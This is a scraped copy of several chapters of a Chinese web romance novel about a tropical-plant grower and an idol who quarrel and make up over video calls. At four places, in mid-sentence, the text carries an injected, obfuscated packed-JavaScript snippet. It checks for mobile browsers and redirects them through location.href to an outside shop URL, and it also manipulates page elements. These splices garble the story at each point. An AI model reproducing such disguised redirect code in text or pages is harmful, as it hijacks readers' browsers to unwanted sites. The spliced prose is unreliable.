他一边操作一边解释着为什么要用水苔裹住气根,为什么要用一次性杯子套住,为什么不能直接用土。 他碎碎念着把手搞得很脏。 他可以通过颠一下花盆估算重量判断是否需要浇水。 他蹲累了就干脆盘腿坐在地上。 他低头认真工作的时候可以看到一个圆圆的脑袋。 他能认出哪棵是在自己家买的,顺便分享爸爸帮自己切侧芽整个切断了。 他弄完会交代植物好好长大。 助理说过这种直播好无聊他看不进去,简承给他翻白眼,心想你不喜欢热植,也不喜欢温可言。 “是不是觉得很麻烦很无趣?”温可言转头看手机的时候发现简承似乎在神游,“简哥?” 简承回神,嗯了一声,有些不自在地去撸自己的刘海。 温可言说:“其实掌握它们的习性之后很简单的。” 简承:“那我要好好的补补课了。” “其实重点只有一句话。”温可言忽然凑近镜头,“你知道是什么吗?” “什么?” “模拟它的原生环境。” 简承微微蹙眉,“你好像在直播里说过。” “是的。”温可言弄完最后一盆,把两只坐麻的腿伸直,说:“很多人觉得热植很脆弱,但其实在原生地南美,它们都是长在路边的杂草,随便一扔就能旺盛的生长。它们来到上南市就像让我去踢足球一样,很勉强。” “那也像我当演员咯。”简承笑。 “哪有!”温可言反驳,“你演得很不错!” “是么。” 温可言找补,“是的我陪毛毛看过好多,毛毛还给你剪过安利视频呢!” 简承:“替我谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382334|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛毛。对了,明天你们到博览中心地铁站附近就给小远打电话,他叫人来接你们。” “哦哦,好。” 说到这里温可言还有些不好意思。他以为去看街舞综艺录制是给两张票,没想到又是叫成员亲自走后门带进去。 “简哥,真的非常感谢你。” “真的吗?”简承说完,那边有敲门的声音,他起身去开门拿了一份饭进来,“那我可以问你一个问题吗?” 温可言认真地点头:“可以。” 简承:“温老师觉得我是个很难接近的人吗?” “不是吧,你很好,比我想象的更健谈更活泼。”温可言认真的回答了他的感受,一点也没有作假。 “我挺喜欢你的,但一直能感觉到你很抗拒和我谈论隐私话题,尽管那不是什么隐私。” “我……” “你说过不是因为讨厌我。” 温可言微微抿唇,“因为你是爱豆,那么多人爱着你关注着你,我觉得这样是冒犯你,所以应该和你保持距离。” 电话那头有片刻的沉默,简承的脸也慢慢移出镜头,只剩下一半肩膀。 “我是不是说错话了?”温可言小声问。 “没有。” “你生气了吗?” 简承没有回复这个问题,“我也是一个普通人。” 这时候门铃响起,温可言说了一声之后起身去开门,是管家送外卖来了。 温可言说了谢谢,回到客厅拿起手机的时候发现简承已经挂掉了视频电话。 温可言觉得好像说错话了,但是又搞不清楚具体是哪一点。 他落寞地拎着外卖走到茶几边坐下,给简承发消息。 温房:怎么挂了? 。:你吃饭吧。 从认识以来简承都没有这么冷漠过,温可言忽然觉得心脏酸酸的。他轻轻放下手机打开外卖,是一份冬阴功汤。 辣的,荤素搭配的。 吃完了饭,温可言发消息跟简承说自己要走了,他没有回复。 回到家里在大棚里忙完,又给简承发消息看自己挑选的热植展展品,他依旧没有回复,温可言捧着手机神伤,给他发了“对不起”,然后一口气给400个小苗浇了水。 温可言的心脏好像被谁捏着,捏一次就挤出几滴水,打在心湖涟漪阵阵。 “怎么了儿子?有这么难吃吗?”江雯女士问。 温可言端起碗猛猛扒饭,“嗯!” 晚上十一点,简承发了微博。 他分享了一首歌,是魏如萱的《没有关系》,还配了一张很忧郁的黑白风景图。 图上正是一株花烛,温可言能认得出来是大概三年前买的一株高价梅子酱杂花烛。 温可言滕地从沙发上坐起来,把正在看剧的两只猫吓一跳。 温可言下意识地想他是不是在跟自己说没关系,点开评论区傻眼了。 fff烦:啥意思 时光花廊:不是老大谁伤你心了??? yzyyy:不是吧你真谈恋爱啦啊啊啊啊啊啊啊啊我不活了好吧 光合不作用:有什么话能不能说清楚?一堆粉丝在这里猜猜猜你看着很好笑是不是? 热带暴雨:我去简哥也养热植!我也养了超级多啊啊啊啊 卤味煎蛋:别谈未成年擦边网红我都原谅好吧 将来的事jlds:请问哪个字说恋爱了?别造谣OK? 温可言一连翻了快200条,起码有100条都在说简承是因为感情的事才发了这条微博。 “是我伤了你的心吗?”温可言喃喃。 19.第 19 章 第19章 简承依旧没有回复温可言的微信消息。 次日一早醒来,温可言收到毛思敏转发的几个帖子,都是豆瓣里在分析简承这几天又是小狗爪又是没有关系的是什么意思。还有高楼一一扒出这些年以来他恋爱的迹象。 毛毛:你干啥了?? 温可言现在已经不太看豆瓣小组,因为大学的时候他曾经在光合作用的反黑组打过一阵子工,难度最高的就是豆瓣了! 在豆瓣反黑的那段时间是温可言人生中演技最好的时候。 当年光合作用如日中天稳坐内娱男团top,喜欢的人多讨厌的人也多,不管在哪里都容易一言不合骂起来。 没想到现在点进去看,盘简承恋爱迹象的帖子竟然没吵起来。 热门回复更是让人心碎。 别骂我心肝 8小时前:没有关心老男人恋爱的义务。 “哎呀啊啊啊啊——”温可言在床上滚成一团。 贴内的回复没有特别偏激的,甚至有好多回复调侃得很幽默,温可言作为萌萌粉看得乐了好几次。 不过这些现在都不重要,因为简承还是没有回复温可言的微信。 温可言还刷到他一大早开机拍外景戏,又是受伤的特效妆。 今天要去看街舞综艺的录制,温可言没给自己安排任何工作,难得的赖了一会儿床。 街舞综艺的录制正巧就在温可言家所在的区,不用早早赶路,但住在市里的毛思敏就没有那么幸运了。 她一大早就起床化妆,拿着几年没用的驾照犹豫了几分钟后还是老实出门地铁转高铁。 温可言是在简承那里知道今天的助演换成了林路远和梁稳,节目组从始至终都没有公布过助演信息,但还是在地铁口看到不少带着属性挂件的同担。 “毛毛!”温可言看到毛思敏大包小包的从扶梯上升上来了。 温可言忙上去接,“你怎么带这么多东西?” 毛思敏:“这个是给你们带的吃的,这一袋是我的行李,我晚上十一点半的飞机去北京出差。” “这么赶?” “嗯,我同事请假了我顶一下,要去四天。”毛思敏垮着背,“哎哟累死我了。” 温可言的车就停在地铁站外面,时间还早,两人慢悠悠地走过去放东西。 刚刚毛思敏说一直在赶路没吃午饭,温可言就顺路去买了小笼包,“吃吧,就是有点凉了,这豆浆还是热的。” “啊你太好了温温。”毛思敏坐在副驾,“我发你的帖子你看了吗?” 温可言:“看了。” 毛思敏:“跟你有关吧?那图片上是花烛。” 温可言面露难色,“我也不知道,但我好像说错话惹他不高兴了。” “哇塞。”毛思敏喝一口豆浆把食物顺下去,“你们俩已经到了可以惹对方不高兴的地步了吗?” 温可言:“真的。” “啊……”毛思敏看他表情不对,“怎么了你跟我说说。” 温可言叹口气,从他去音乐房拿手机支架说起。 “阿嫲?是外婆吧以前传过他小时候是跟外婆住的。” “嗯嗯。” “外婆怎么了?” 温可言呆呆道:“不知道我没继续问。“ 毛思敏:“难道你对三十岁男人的破碎童年不感兴趣吗?长得帅有腹肌的那种。” “我不知道……哎呀我也觉得自己有点奇怪了,后面我还说他是爱豆所以不想冒犯他的隐私这类的话。” 毛思敏:“我知道他气什么了。” 温可言:“什么?” 毛思敏:“你说他是爱豆怎么怎么,听起来就像啊爱豆不能有自己生活,没有交友的自由,更不能谈恋爱了。” “我没有那么说。”温可言马上反驳。 毛思敏:“但逻辑是这样的吧,在他心里你又不止是粉丝。” 温可言大惊,“你干嘛说得那么暧昧!!” 毛思敏:“接连两次走后门去看演出、私底下见面、把你大棚里的狗爪发微博上、打视频生闷气,还不够暧昧吗?” “……”温可言哑口。 正不知道怎么嘴硬的时候手机响了起来,是简承给的联系人电话,对方说他到地铁站了,问他们在哪。 温可言探个头出去,看到有辆车停在地铁口。 毛毛小笼包才吃了两个就放下,两人火速下车跑过去。因为要出差,毛毛没有背痛包,只挂了林路远和梁稳的两个动物塑小娃娃。 匆忙上了车才发现坐在后面的是林路远的助理。 这个助理两人再熟悉不过了,是光合作用四人助理中唯一一个从出道就跟着的,他发明的遛私生100招到现在还在娱乐圈流传,因为喜欢吃公司楼下的烤红薯得名薯哥。 “薯哥,你好……”毛思敏打了个招呼。 “你们好。”薯哥笑笑,“第二次见面了。” 温可言和毛思敏嘿嘿笑着,缩在座椅上不敢动。 薯哥最早是光合作用四个成员的生活老师,经常因为管得太严格被粉丝骂,但是又真心对他们四个好,洗衣做饭开车全都不在话下。出道后发展外务,会照顾人的薯哥就被分给了年纪最小的林路远。 如今薯哥已经快四十岁了,高高瘦瘦的,不怎么爱笑,因为粉丝说他笑起来显得有点阴险。 “两点钟开始录,但是小远和阿稳大概三点钟才出场,你们想去观众席还是在后台玩。”薯哥问。 温可言和毛思敏对视一眼,说:“观众席就好,不麻烦你们。” 薯哥点头,“好,现在还早,去后台打个招呼。” 薯哥说话就像发号施令,温可言和毛思敏只能乖乖点头。 虽然温可言家离博览中心不远,但还是第一次来这边,车子过了检查从后面的员工通道进去,后台到处都是工作员工,温可言和毛思敏紧紧跟着健步如飞的薯哥来到两位成员的休息室。 两人已经全妆准备好,正对着手机视频顺动作,见温可言和毛思敏来了才停下来。 “哈咯哈咯,又见面了小温老师。”林路远热情地打招呼,梁稳则站在他后面用谁也听不见的声音说了声你好。 这次简承不在,温可言更拘谨了,两只手微微挥舞着说:“不好意思打扰了。” 林路远性格开朗,是个社交悍匪,招呼他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386642|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们坐下。 他们两个今天都做了背头造型,很帅很男人。 小茶几上放着果切和咖啡,有两杯没开封的。 “给你们点的,不知道你们爱喝什么就都点了拿铁。”林路远也过来坐下,看到毛思敏的包挂很惊喜地说:“哎呀,这个是一专里的周边吧!” “对呀对呀。”毛思敏没想到他记得那么清楚,用手托起来给他看,“你们四个的我都有,今天只带了你们俩出来。” 林路远:“你保存得真好。” 毛思敏揪出其中一个,“屁股这里之前炸线了,我找娃娘修复的。” “娃娘?”林路远问。 “就是专门搭理棉花制品的人,坏了可以修复,脏了可以洗干净。” 林路远做作地说:“怎么让外人给我们洗澡,很害羞啊!” 温可言也有这一套,他想到了简承的娃娃,接着又想到简承,难免神伤。 “小温老师心情也不好么?”林路远忽然说。 今天跟简承报备已经联系好两个小粉丝的时候,他居然冷冷地回了一个哦。 温可言回过神来,“哈哈,没有啊。” 林路远:“你们吵架啦?” 没等温可言回答,毛思敏就下意识地点了下头。 “那完了。”林路远说。 没等温可言问,梁稳就下意识地点了点头。 温可言:“啊……” 林路远:“别看简哥平时成熟稳重,其实生气可吓人可记仇了,我都不敢惹他。” 温可言:“那怎么办啊?” “真吵架了?”林路远笑,“不过简哥一般情况都不会生气的,你说什么把他气着了?” 温可言命苦地干笑一声。 “没事啦,你哄哄他。” “怎么哄啊。”温可言迷茫道。 林路远提供自己的经验,“一直烦他,哥我错了我真的错了下次再也不敢了,扒拉他烦死他,等他受不了了就会选择原谅。” 梁稳忽然插了句话:“能哭出来最好。” “对对。”林路远认可地竖起大拇指。 温可言和毛思敏下巴都要掉地上了,你们就是这么折磨简承的吗! 随后又为团员之间亲密的关系感到欣慰,只要他们好好的,粉丝就一切都满足了。 温可言为难地说:“这不好吧……” 林路远笃定道:“我没说好,但是很有用。” —— 简承接连拍了7个小时的戏,从天亮拍到天黑,忙得水都没喝两口。 下了戏几个主演又被叫过去对明天要补的戏,因为新角色进来了,虽然去掉了感情戏但工作量还是挺大,这一周会一直加班。 头晕脑胀地上了房车,助理把充满电的手机给他。 简承解锁,看到50+的微信消息提醒吓了一跳。 群消息基本都是免打扰的,突然这么多消息简承下意识以为工作出什么事情了,一边点开手机一边问张海峰公司有什么是吗。 “没有啊。”张海峰把保温杯给他,“怎么了?” 微信点开。 温可言的未读消息37条。 20.第 20 章 说实话,简承已经准备晚上联系温可言了。 今天下午和新角色的演员拍对手戏,几乎一下午都在NG,十句台词的戏卡了快三个小时。导演还没发火她自己先害怕得哭了。 其实简承能理解她,还没毕业的小姑娘,第一次拍戏就碰到白导这样严厉的导演。 简承第一次正式进组也很紧张,因为是爱豆出身自带流量,很容易就接到了好资源,在一众实力派前辈面前紧张得接连两天没睡着。 不过简承从小就不是个善于表达情绪的人,组成男团之后是比其他成员大的哥哥,要体面要威严,以及强烈的自尊心让他擅于隐藏自己的情绪。 他永远都不能在这样的场合哭出来,却对这种行为的接受度很高。 接受这样的人,就像接受被隐藏起来的自己。 但不是什么人都敢在简承面前烦他的,好脾气的人生起气来很严重。 或者说,简承没有生温可言的气,他们还什么都不是,温可言说的也没有错。简承意识到自己没有立场生他的气,反而像闹脾气。 他点开温可言的微信之前其实有点担心,担心是大段大段的谈心最后说一句我们只是花友。 还好不是。 温房:简哥你是不是在忙? 温房:不忙的时候可以回我消息吗? 温房:你别生我的气了 温房:给你看我要带去参展的热植 温房:[图片][图片][图片] …… 温房:求你了我错了 温房:那天在电话里说你是爱豆怎么怎么的那些话,不是说你是爱豆所以不能交友不能恋爱的意思,我只是担心自己没有边界感会让你讨厌 温房:我以为你需要隐私才这样说的 …… 温房:其实我很开心认识你 温房:真的 温房:等你有空了,可以再给我讲讲二十九岁男人的破碎童年吗? 温房:对了,你阿嫲很漂亮玫瑰/玫瑰/玫瑰/ 看到最后一句的时候,简承没忍住笑出声来。 “咋了。”张海峰坐在对面,“哥你这两天怪怪的,刚刚还一脸严肃现在又笑。” 简承:“哪里奇怪了。” 张海峰:“主要是你平时不是情绪这么丰富的人。” “因为你调动不了我的情绪。”简承说着,把羽绒服脱了,“韩姐回消息了没?月底回来吗?” “说不确定,倒是赵哥给我打过电话了,说可以接。” 简承有些意外,“真的?” 张海峰:“嗯,还是他亲自给我打的电话,说想约你见面聊一下。” “好,安排一下时间。”简承翻了两遍聊天记录之后关上手机,把电脑打开看最近的排期。 简承饰演的角色戏份已经快结束了,剧情改过之后大概在年前一周再来补和新角色的戏份就好。 这位赵哥是业内有名的音乐制作人,他早期也是歌手出身,后来嗓子出问题就转了幕后。赵哥很难请,因为他很看风格和缘分。 简承以个人身份发展之后的第一章专辑就邀请过他,那时候公司给简承的预算可以说是天价,但赵哥还是婉拒了。 那时候简承的作品多是男团风,他认为不合适。 这几年简承攒了不少作品,明年要出第三张个人专辑,简承再次向赵哥发去了邀请。 简承确定好时间,“下周二周三我没有戏,帮我问一下赵哥。” 张海峰正在跟司机说话,应了声好。 —— 温可言觉得自己丢大人了。 就不应该信林路远的话,明明知道他是个满嘴跑火车嘴上没把门的,怎么还轻易相信他。 他们是和简承相处了十年以上的弟弟,简承当然能接受他们耍赖撒娇,自己又不是这种可以撒娇耍赖的身份。 “天呐。”温可言把脸埋进三花小猫的肚子里,“他不会直接把我拉黑了吧。” 空荡荡的家里只有小猫不耐烦的叫声。 爸妈去朋友家做客打麻将了,毛思敏也在飞机上,温可言窝在沙发里都不知道找谁说话。 手机铃声起来的时候他以为是简承,飞速拿起手机一看,是在隔壁省份的同行朋友。 他们俩是在热植展上认识的,和简承一样大,温可言叫他飞哥。他家也是主花烛品类,两人经常交流,去年他结婚温可言还去吃了他们喜酒。 “喂,小温温在干嘛呢?” “在家呢飞哥。”温可言声音懒懒的,“怎么了?” “我想问一下你那里是不是有初代泰国黑凤凰,给我一盆行不?我刚出了一批bvep,想杂交一下。” 温可言哎呀一声,“我上个月刚切了几棵分出去,现在就剩三盆已经长花剑的,长花剑的你要不?” 飞哥:“这不行,时间赶不上。” “这样啊……”温可言忽然想起简承家里有两盆,“我有个花友倒是有一盆。” 飞哥:“帮我问问行不?明年还他,我再送他一盆我家的银虎。” 温可言支支吾吾地说:“他……他生我气呢。” 飞哥:“哎呀兄弟之间什么气不气的,你请他喝两杯不就行了。” “那我去问问。” 温可言挂了电话,决定先试探一下简承有没有把自己拉黑。 温房:。 发送成功,没拉黑,温可言又把这个句号撤回。 简承洗澡出来看到的界面就是一条已撤回消息,以及“正在输入中……” 温可言正措辞呢,先说请他出去喝酒,又觉得他出门喝酒不方便,就说自己家里有两瓶珍藏的茅台问简承想不想喝,又解释说自己不是酒鬼,酒是爸爸的。 一大段字没打完,上方忽然弹出视频电话。 温可言滕地一下坐起来,对着镜头整理一下自己的头发。 “……”温可言吓得闭上了眼睛。 ——简承头发湿漉漉的,穿着松垮的浴袍,胸前轮廓全展示。 “怎么不说话?”简承问。 他倒是很松弛,温可言的脸已经烧起来了,“你……衣服没穿。” 简承闷声笑,“刚洗完澡。” “我看出来了……”温可言偷偷看了一眼。 简承正在屋内走动,手机拿得不稳,一下对着脸一下对着胸口的。 “我看了你给我消息。” 温可言:“那你原谅我了吗?” 简承:“你干嘛调戏我阿嫲?” 温可言大囧,忙摆手否认,“没有没有,我是夸她呢。” “而且我三十了,不是二十九。” “还没到生日就是二十九啊。” 简承笑,舔了下嘴唇,“哦,是吗?这也是毛毛跟你说的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392868|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温可言这才反应过来,马上顺着杆子爬,“是啊,她还会给你们买蛋糕呢。你生日买一个,小远生日买一个,反正每个人生日她都买。” “喂。”简承笑得眼睛都弯了,走动间来到床边直接躺了下去,镜头里的视角变成一种难以言喻的画面。 温可言再次闭上眼在心里尖叫:啊啊啊—— 简承说:“毛毛是想吃蛋糕了吧。” 温可言耳朵烫得不行,点点头:“哈哈。” “温老师。”简承忽然严肃,“我是讨厌没有边界感,也讨厌被窥视隐私。” “嗯……”温可言声音闷闷的。 “但我也需要交友,需要亲密关系,我不是养在真空环境里的标本,会开心也会难过,会冲动也会有占有欲。” 简承一口气说完,看着屏幕里情绪逐渐失落的温可言,哑着嗓子说:“我以为我已经表现得很明显了。” “我知道了,对不起啊……”温可言想到自己的刻意避嫌伤了他的心就愧疚,说完又觉得哪里不对劲,两只圆圆的眼睛看向镜头,“啊?” 简承笑:“昨天玩得开心吗?” 温可言点头,“开心,最后是小远助演的那组赢了。” “哇。”简承举手机举得手酸,微微放下来一点,“没有签保密协议吗?温老师。” 温可言微微张着嘴唇,傻眼了。 这个视角是不是有点太不健康了,温可言摸了下嘴唇,“那个,我想这小远他们也会跟你说的。” “嗯。” 简承不再主动放出话题,就那样把手机放在腹部上方,自然地垂着眼看着镜头。 “咳,简哥,其实我有件事想请你帮忙。”温可言说。 “你说。” “我有个朋友想借一株泰国黑凤凰,但我这里没有合适的了,你家里有两盆,可不可以借给他?” 简承:“可以啊,下周二你来拿。” 温可言:“为什么?周六我就要过去浇水了。” 简承:“下周二我回家。” “真的?”温可言居然有点兴奋,“你回来干嘛?” 简承微微抬起下巴,“出专辑的事。” 温可言肉眼可见的开心起来:“太好了!” 原本躺在温可言腿边的小猫被他的动作吵得睡不好,小猫爬起来在温可言肚子上踩来踩去,黄白相间的尾巴在温可言脸上扫着,以此表达它的不满意。 看起来柔软实则带着力度的尾巴扫到脖子,又贴着肌肤一倒耳垂,温可言随手拂去,没想到惹得小猫逆反心理起来,直接凑过来用脑袋在温可言脸上乱拱乱舔。 “哎呀。”温可言很爱猫咪,但现在正在跟偶像打视频呢! “不要……下去,唔——” 小猫看他这样,气得用它的烟嗓“喵!”了一声,去旁边挠沙发去了。 温可言抹掉脸上的口水,忙看向镜头,“对不起啊,家里的小猫在捣乱。” “嗯。”简承微微抬起手机,微微眯着眼睛,“很可爱。” 温可言伸手扯了张纸巾擦脸,“不捣乱的时候更可爱,你怎么了?” 他看简承的表情有点奇怪。 “没什么。” 简承说:“睡觉吧,下周见。” 温可言不明所以,想着是不是自己又说错什么话了。 他乖乖点头:“下周见。” 21.第 21 章 周六上门浇水的那天简承在拍戏,是张海峰给温可言回的消息。浇水结束之后温可言用钢卷尺量了下简承家里热植区的长宽高。 养活热植是一回事,让热植变成室内空间的装饰又是另一回事了。 结束之后温可言拎上张海峰叫人送过来的甜品礼盒开车回家。 简承家的客厅空间很大,不好找参考,温可言只好拿回家问妈妈怎么布置好打理又好看。 爸妈打理的绿植大棚就在热植大棚隔壁,虽然说是隔壁但也有近两公里的路程,下午温可言去的,装车装到六点多才结束。 花鸟市场的店面扩大了一些,马上过年了,把过年好卖的花提前运过去。 食堂的叔叔送了饭菜过来,一家三口在大棚入口处的桌子上吃饭。 温可言穿着大棚定制的冲锋衣工服,因为干活觉得热就拉开拉链敞着,一边吃饭一边凑在妈妈身边看照片。 “空间大倒是还好,他这个问题是太空了,大户型其实不太建议做热植柜,显得小气。”江雯女士手里拿着筷子,伸出小拇指滑动屏幕来回看照片,说:“你这个客户还是个极简主义啊。” 温可言想到他丰富的音乐房,摇摇头说:“应该不是吧。他不经常在家,估计没什么时间打理客厅。” 妈妈说:“一个人住?” “嗯嗯。” “哦,一个经常出差没有家人没老婆的中年孤独男人。” “嗯?”温可言忙问,“哪里中年孤独了?!” 妈妈指着图片说:“看起来就像那种霸总小说里,有着悲惨的童年和用不完的钱的冰山总裁,到时候会有一个贫穷但是热爱生活的女孩出现在他身边融化他的心。” “妈……”温可言无奈地笑笑,“什么跟什么啊,我是想问你怎么布置。” 江雯女士把温可言拉过来,“空间大就讲究立体感,你看他家全都是普通的架子,上半部分都是空的。” “做上面要打钉子了吧?会不会影响家里的整体风格。”温可言问。 “要我说他家这种性冷淡装修风格……” “妈你好潮啊,还知道性冷淡风。”温可言哈哈笑。 江雯女士:“我是年纪大了不是傻了,快点,你看这种暗色系的装修风格其实可以加一点原木元素进去呼应一下,然后建议把花盆都换成黑色的。” 温可言拿出手机备忘录记下来,晚上给简承发消息,到了晚上十点多,简承回了个语音电话。 “喂?”温可言正在电脑上选图片,手指一滑接通语音电话,“你工作结束了吗?” “嗯,刚回来洗完澡。” 温可言笑,“为什么每次回消息都是刚洗完澡。” “因为。”简承停顿了一下,无奈地轻轻叹口气然后说:“因为每次结束工作回来必需先洗澡,脸上身上会有妆。” “嗯?”温可言心想他是不是听错自己的问题了。 简承:“洗完澡,第一件事就是回复你的消息。” 温可言:“……” 温可言没有天真迟钝到认为简承是一个很闲的人,闲到忙了一整天这么晚回到酒店之后立刻回复自己的信息,跟自己闲聊,甚至好几次连头发都没有来得及吹。 此刻对话那头的简承没有说话,似乎在等温可言的回答。 温可言惯用的“哈哈”却怎么也说不出口,他好像有点明白了上次简承为什么生气。 关于简承为什么对自己如此热情的答案,如果真的是毛思敏说的他对自己有意思,似乎一切都说得通了。 温可言坐在书桌前,手指轻轻抠着桌面,短平干净的甲面因为受力变得泛白。 现实中就算是梦男也不知道怎么办吧! “温老师。”简承主动开口说话。 温可言因为精神紧张,嗓子发出干涩的一声“嗯?” 简承笑:“你不是要跟我说热植柜的事吗?” “嗯是的。”温可言又变得很拘谨。 明明这段时间和简承聊天已经变得自然很多。 “所以你妈妈的建议是?” “哦,是这样的。”温可言翻出备忘录,“因为客厅空间很大很空,她不建议做热植柜,说这样显得不大气。最好是把放热植的那个地方做成热植墙,再用花架打造出高低错落的感觉。” 温可言一口气说完,再补最后一句:“最好把花盆换成黑色的,增加一些原木色家具来中和你家的性冷淡风。” “性冷淡?”简承真没辙了。 温可言轻轻咬住下唇,闷闷地说,“我妈说的……其实我觉得是极简风。” 简承:“好吧,其实说得也没错。” “其实我觉得这个风格挺好的,很符合你的性格。”温可言说。 “我是什么性格?” “就是成熟稳重。”温可言追他十年这还能不知道么,他自信地说:“看起来温柔懂事又大方,但又有种淡淡的疏离感。” 简承一口水差点呛着,“我对你很疏离吗?” “这个……”温可言傻了,他满脑子都是过去十年里对偶像的了解,完全没想到这两个月里的简承。 “那我重新说。” 简承:“好,重新说。” 温可言用手背碰了碰鼻子,说:“其实你是体贴主动、不拘小节很大方的人,而且时不时还有点小幽默。” “好吧。”简承也算满意了。 “但是你家的装修风格确实很冷淡。” 简承柔声解释道:“因为当时还不知道自己想要什么样的家。当时其实没准备好买房子,是经纪人帮我看的这一套,这个小区确实很合适而且当时房主移居国外了价格给得很好。所以当时就是觉得买好了房子,没想好我家该是什么样的。” 简承说得这么认真这么仔细,温可言能从他的话里感受到他性格中的冷淡和家庭有关系,只是他没有把这些缺失显化成外放的性格。 “那,你现在想好了吗?”温可言轻声问。 简承嗯了一声,“你刚刚说的那样我就挺喜欢的。” “真的么?”温可言声音很小,没有预想中得到客户肯定的兴奋和激动。 他开始怀疑,简承喜欢的到底是热植?是装修?还是人呢? 简承轻笑,说了句“等我两分钟”,话筒传来一点杂音,接着是吹风机工作的声音。 温可言缓缓趴在书桌上,下巴垫着手肘。书桌置物架上的相框里是简承的明星片,这是好多年前的专辑赠品。 明信片里的简承也是这样趴在桌面上,温柔地看着镜头。温可言从学校带回家的,每次累到不想说话的时候他就这样趴在桌面上和简承对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399827|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视。 温可言已经很久没有这样趴在桌子上看着简承了,现实生活太忙碌,简承也早已不是那个忧郁的少年。 温可言看着从前的简承,耳边却是简承在吹头发的声音。 好像真的不一样了。 “好了。”简承那边的吹风机声音停下。 “简哥。” “嗯?” “你……”温可言刚开口,就听到爸妈开门回来的声音,想起今晚是来找他商量布置热植的事情的,“你觉得我妈妈的建议可以的话,我就按照那样给你弄。” “你帮我弄吗?”简承问。 温可言:“对啊。” 不然呢?难道你自己会? 简承轻轻的笑声夹在布料摩挲的杂音里,声音很低:“为什么要帮我?” 他的语气莫名暧昧,温可言忽然坐直。 “我们是朋友啊。” 不是花友,是朋友,简承觉得这已经是质的飞跃。 上次闹脾气简承就想过,温可言的逃避是不是自己的进度太快了,在自己的视角里温可言是自己的粉丝,自己看了温可言三年的直播,他们应该相当了解彼此,但其实连朋友都不算。 现在温可言主动提出帮自己“装修”房子,简承已经相当满足。 这和未来的男主人有什么区别? “但我比较担心的是这样弄必然要在墙上打洞,想要效果好的话还要加板子把适合上板的热植都挂起来。” 温可言絮絮叨叨地说着,“其实我觉得可以在电视墙和沙发旁也放一些,你有一百多颗完全够的,我可以把大棚里那颗很大的洒金龟背竹带给你,它长得很高很大,我妈说高矮大小搭配起来更有层次感。不过这样会有点分散,要单独浇水养护,和我们最初想要的自成生态圈有些背道而驰了。但是我又想,电视墙可以放一些耐活的热植,比如海芋类和橙柄蔓,你觉得呢?” “我么,我觉得很好。”简承躺在沙发里。 “我也觉得很好。”温可言说着,往后靠着椅背,开始畅享,“这样你以后出差也不用总是担心孩子们死掉了,一回家就可以看到活力满满的植物,心情都会好一些。” “我现在心情就非常好。” “那就好,我尽量在过年前给你做好,因为年后我比较忙了。” 简承笑:“温老师,那我做点什么回报你呢?” 温可言隔空摆手,“不用不用。” “真的吗?”简承故作遗憾,“我还想说邀请你和毛毛去看月底的ZZ盛典晚会呢。” ZZ盛典是时尚杂志的年底晚会,每年都办得很盛大,但票非常难拿。 温可言啊地一声,“你会去吗?” 简承:“我和小远去,会有表演但是不合体,我们身上有代言。” “那你还是回报我一下吧,简哥,我一定会把热植区做得非常好的!”温可言立刻谄媚。 简承:“需要你把你和毛毛的个人信息给我,这次不方便走员工通道了。” 温可言五秒就从微信收藏里找到两个人的身份证号发了出去。 “……”简承疑惑,“就这样发过来了吗?” 温可言哭笑,心想你还是不懂,我们抢票的时候都把身份证当传单发。 但温可言只能嘴硬说:“我们相信你。” 22.第 22 章 简承同意了重装热植区,温可言答应了去看晚会。 今晚的聊天可以说是史无前例的自然和顺畅, 周一深夜简承回到家就给温可言报备,约好明天见面。 周二上午,温可言给简承打了个招呼之后坐上驾驶位准备从基地出发,小货车后面拉了一堆工具和材料,刚点火老爸跑了过来,手里拿着两块电池。 “儿子!刚想起来你拿的那个电钻好像没电了。” 温可言打开窗子接过来,“哦好,谢谢爸。” 老爸:“儿子啊,爸想跟你说两句心里话。” “你说。”温可言微微趴在车窗上。 